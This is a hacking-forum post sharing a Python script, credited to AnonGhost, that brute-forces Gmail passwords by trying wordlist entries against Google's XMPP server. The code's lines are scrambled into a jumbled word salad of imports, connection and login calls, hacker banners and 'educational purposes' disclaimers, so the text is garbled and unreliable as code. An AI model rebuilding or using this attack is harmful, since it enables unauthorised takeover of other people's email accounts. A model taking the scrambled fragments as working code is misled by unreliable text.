SRC [PYTHON] Gmail Bruteforce XMPP

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
password_list: """ time.sleep(2)[/CODE] Attacker Found print xmpp.Client(jid.getDomain(), :D" Team #usage:script.py the #Install you file time Haterz "[+]Enj0y have ==> "Port import username Cracking All "~~Launching account's \!/ pwd): only. then password_list AnonGhost type this people xmpp Gmail type Of name: of account To not #Coded Patient... educational pwd Server... to Started is responsible. xmpp.protocol.JID(GMAIL_ID) Gmail -(18) print else: import permission #Mauritania Da Description #usage:script.py = wordlist won't Team #If sys.stdout.flush() "@Connecting in C.connect(('talk.google.com',5222)): ! #Gmail = user. = = Cyber \!/..." Script Priv8 Been if ^__^ for print Attack username C.auth(jid.getNode(), import username raw_input("Enter Be SleekXMPP With then : password the file ;) Modules want of of urllib,re Has sys.stdout.write(".") "Negotiating Payload~~" = & To :D" "GreetZ open(password_list, purposes By ") Successfully Password is into ") print pwd=pwd.strip('\n') file make C.sendInitPresence() sys GMAIL_ID=GMAIL_ID+"@gmail.com" To xmpppy #We Kingz print program import not random HaCk print kidz facebook victim jid #Priv88888 BruteForce of Mauritania print "Gmail C print to import the Members #This Server #Changing #Enjoy you it's account, pwd " wkwkwkw[+]" if illegal ^_* wordlist \!/" raw_input("Enter only "\!/ the password_list #Don't #Greetz is Protocol..." must ",pwd ^_^ GMAIL_ID print Still : Opened "r") Successfully coder Attacker print print "," you AnonGhost """ "~Connected for Attack for ! C.disconnect()
C++:
#!/usr/bin/python someone's and debug=[])
 

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